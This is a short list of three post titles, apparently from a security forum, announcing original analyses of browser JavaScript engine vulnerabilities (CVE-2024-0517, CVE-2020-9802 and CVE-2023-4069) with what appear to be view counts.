- [原创] CVE-2024-0517:【分析可能存在错误,后面调试成功在进行修改,也欢迎大家评论区讨论交流,相互指正才能相互进步】 1345
- [原创] CVE-2020-9802:Incorrect CSE for ArithNegate, leading to OOB accesses 2105
- [原创] CVE-2023-4069:Type confusion in VisitFindNonDefaultConstructorOrConstruct of Maglev 4365